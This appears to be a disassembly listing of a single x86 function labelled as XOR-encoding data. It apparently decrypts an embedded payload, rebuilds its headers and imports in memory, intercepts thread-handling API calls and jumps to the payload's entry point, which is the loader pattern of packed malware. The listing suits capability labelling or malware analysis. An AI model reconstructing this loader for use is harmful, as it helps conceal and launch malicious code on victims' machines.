Function at 0x1404290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 0x134
call fcn.0142fd1f
mov edi, eax
add esp, 4
mov dword [ebp - 4], edi
test edi, edi
jne 0x14042b2
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0x134
push 0
push edi
call fcn.01425130
mov esi, dword [ebp + 0xc]
mov ecx, 0x44
add esp, 0xc
mov dl, 0x57
cmp esi, ecx
jbe 0x14042e3
mov eax, dword [ebp + 8]
xor byte [eax + ecx], dl
mov al, byte [eax + ecx]
inc ecx
add al, 0x57
add dl, al
cmp ecx, esi
jb 0x14042d1
mov edx, dword [ebp + 8]
push ebx
lea ecx, [edx + 0x44]
cmp ecx, edx
jb 0x140485e
add esi, edx
lea eax, [ecx + 0x18]
cmp eax, esi
jae 0x140485e
movups xmm0, xmmword [ecx]
lea ebx, [edx + 0x5c]
mov dword [ebp - 0x14], ebx
movups xmmword [edi], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [edi + 0x10], xmm0
mov ecx, dword [edi + 0x10]
xor dword [edi + 8], 0x7a32bc85
add ecx, 0xfffffff4
xor dword [edi + 0xc], 0x49c042d1
xor dword [edi + 0x14], 0x872c3d47
mov dword [ebp - 0x10], ecx
mov dword [edi + 0x10], ecx
cmp ebx, edx
jb 0x140482f
movzx eax, word [edi + 4]
lea eax, [eax + eax*4]
lea eax, [ebx + eax*4]
cmp eax, esi
jae 0x140482f
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
movzx eax, cx
lea eax, [eax + eax*4]
mov edi, dword [ebx + eax*4]
lea ebx, [ebx + eax*4]
mov esi, dword [ebx + 4]
cmp edi, edx
jb 0x1404801
mov eax, dword [ebp + 0x14]
lea ecx, [esi + edi]
add eax, edx
mov dword [ebp - 0xc], ecx
cmp ecx, eax
jae 0x1404801
mov ecx, dword [ebx + 8]
cmp esi, ecx
jbe 0x140439f
mov eax, esi
sub eax, ecx
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.01425130
mov ecx, dword [ebx + 8]
add esp, 0xc
mov eax, dword [ebx + 0xc]
add eax, dword [ebp + 8]
push ecx
push eax
push edi
call fcn.01424bb0
add esp, 0xc
cmp word [ebp - 8], 0
jne 0x14043c2
mov eax, dword [ebp - 4]
mov dword [eax + 0x20], edi
mov dword [eax + 0x24], esi
jmp 0x1404404
cmp esi, 0x10000
jbe 0x1404401
push 0xa
push str.HeapAlloc
push esi
push edi
call fcn.01404de0
add esp, 0x10
test eax, eax
je 0x14043f4
push 9
push str.HeapFree
push esi
push edi
call fcn.01404de0
add esp, 0x10
test eax, eax
jne 0x1404401
mov ecx, dword [ebp - 4]
mov eax, ecx
mov dword [ecx + 0x28], edi
mov dword [ecx + 0x2c], esi
jmp 0x1404404
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, dword [eax + 0x1c]
mov eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 8]
add eax, edx
cmp eax, dword [ebp - 0xc]
jae 0x1404428
mov edx, dword [ebp - 4]
sub esi, dword [edx + 0xc]
lea edx, [esi + edi]
mov edi, dword [ebp - 4]
mov dword [edi + 0x1c], edx
jmp 0x140442b
mov edi, dword [ebp - 4]
cmp dword [ebx + 0x10], 0
je 0x1404437
mov eax, dword [ebx + 0xc]
mov dword [edi + 0x18], eax
movzx eax, word [edi + 4]
inc ecx
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
cmp cx, ax
jbe 0x1404355
mov eax, dword [edi + 0xc]
mov ebx, dword [ebp + 0x10]
cmp eax, ebx
jb 0x14047c8
add ebx, dword [ebp + 0x14]
add eax, edx
mov dword [ebp - 8], ebx
cmp eax, ebx
jae 0x14047c8
mov eax, dword [edi + 0x14]
mov edx, dword [ebp + 0x10]
cmp eax, edx
jb 0x1404796
lea ecx, [eax + 0x14]
mov dword [ebp - 0xc], ecx
cmp ecx, ebx
jae 0x1404796
mov eax, dword [eax + 0xc]
test eax, eax
je 0x1404697
mov ecx, dword [0x4447014]
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x444705c]
mov dword [ebp - 0x1c], ecx
mov edi, dword [edi + 0xc]
add edi, eax
xor ecx, ecx
mov eax, edi
nop dword [eax + eax]
cmp eax, edx
jb 0x1404781
lea edx, [eax + 1]
cmp edx, ebx
jae 0x1404781
cmp byte [eax], 0
je 0x14044d3
inc ecx
mov eax, edx
mov edx, dword [ebp + 0x10]
cmp ecx, 0x40
jb 0x14044b0
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x30]
cmp esi, 0x40
jae 0x1404784
push edi
call dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x1404784
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
mov dword [eax + esi*4 + 0x34], ecx
inc dword [eax + 0x30]
mov edi, dword [edi - 4]
add edi, dword [eax + 0xc]
cmp edi, edx
jb 0x1404784
lea ecx, [edi + 4]
mov dword [ebp - 0x10], ecx
cmp ecx, ebx
jae 0x1404784
mov esi, dword [edi]
test esi, esi
je 0x1404670
nop dword [eax]
xor bl, bl
test esi, esi
jns 0x1404540
and esi, 0x7fffffff
mov bl, 1
jmp 0x1404582
mov ecx, dword [eax + 0xc]
add ecx, esi
cmp ecx, edx
jb 0x1404748
lea eax, [ecx + 4]
cmp eax, dword [ebp - 8]
jae 0x1404748
lea esi, [ecx + 2]
xor edx, edx
mov eax, esi
cmp eax, dword [ebp + 0x10]
jb 0x1404711
lea ecx, [eax + 1]
cmp ecx, dword [ebp - 8]
jae 0x1404711
cmp byte [eax], 0
je 0x1404582
inc edx
mov eax, ecx
cmp edx, 0x40
jb 0x1404560
test esi, esi
je 0x14046d7
test bl, bl
jne 0x1404640
mov ecx, str.CreateThread
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x14045c0
test dl, dl
je 0x14045bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x14045c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x14045a0
xor eax, eax
jmp 0x14045c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14045d0
mov eax, 0x1410a80
jmp 0x1404647
mov ecx, str.TerminateThread
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x14045f7
test dl, dl
je 0x14045f3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x14045f7
add eax, 2
add ecx, 2
test dl, dl
jne 0x14045d7
xor eax, eax
jmp 0x14045fc
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1404607
mov eax, 0x1410c20
jmp 0x1404647
mov ecx, str.CloseHandle
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1404630
test dl, dl
je 0x140462c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1404630
add eax, 2
add ecx, 2
test dl, dl
jne 0x1404610
xor eax, eax
jmp 0x1404635
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1404640
mov eax, 0x1410b40
jmp 0x1404647
push esi
push dword [ebp - 0x18]
call dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add ecx, 4
mov dword [edi], eax
add edi, 4
mov dword [ebp - 0x10], ecx
cmp edi, edx
jb 0x14046a0
mov ebx, dword [ebp - 8]
cmp ecx, ebx
jae 0x14046a0
mov esi, dword [edi]
mov eax, dword [ebp - 4]
test esi, esi
jne 0x1404530
mov eax, dword [ebp - 0xc]
cmp eax, edx
jb 0x1404781
lea esi, [eax + 0x14]
mov dword [ebp - 0xc], esi
cmp esi, ebx
jae 0x1404781
mov eax, dword [eax + 0xc]
mov edi, dword [ebp - 4]
test eax, eax
jne 0x14044a2
pop ebx
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
push 0
push 0
push 0
mov eax, dword [edi + 0x10]
call eax
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x14046c6
jmp 0x140488c
mov edi, dword [ebp - 4]
push 0
push 0
push 0
mov eax, dword [edi + 0x10]
call eax
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
nop dword [eax]
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404700
jmp 0x140488c
mov edi, dword [ebp - 4]
push 0
push 0
push 0
mov eax, dword [edi + 0x10]
call eax
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404737
jmp 0x140488c
mov edi, dword [ebp - 4]
push 0
push 0
push 0
mov eax, dword [edi + 0x10]
call eax
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
nop
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404770
jmp 0x140488c
mov eax, dword [ebp - 4]
push eax
call fcn.01404080
add esp, 4
xor eax, eax
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
call dword [ebp - 0x10]
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x14047b7
jmp 0x140488c
push 0
push 0
push 0
call dword [ebp - 0x10]
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
nop dword [eax]
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x14047f0
jmp 0x140488c
push 0
push 0
push 0
call dword [ebp - 0x10]
mov edi, dword [ebp - 4]
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404821
jmp 0x140488c
push 0
push 0
push 0
call ecx
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
nop dword [eax + eax]
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404850
jmp 0x140488c
mov eax, dword [edi + 0x10]
push 0
push 0
push 0
call eax
mov esi, dword [edi + 0x30]
sub esi, 1
js 0x140488f
mov ebx, dword [0x44470a4]
lea edi, [edi + esi*4]
add edi, 0x34
nop dword [eax]
push dword [edi]
call ebx
sub esi, 1
lea edi, [edi - 4]
jns 0x1404880
mov edi, dword [ebp - 4]
push edi
call fcn.0142fd04
add esp, 4
xor eax, eax
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret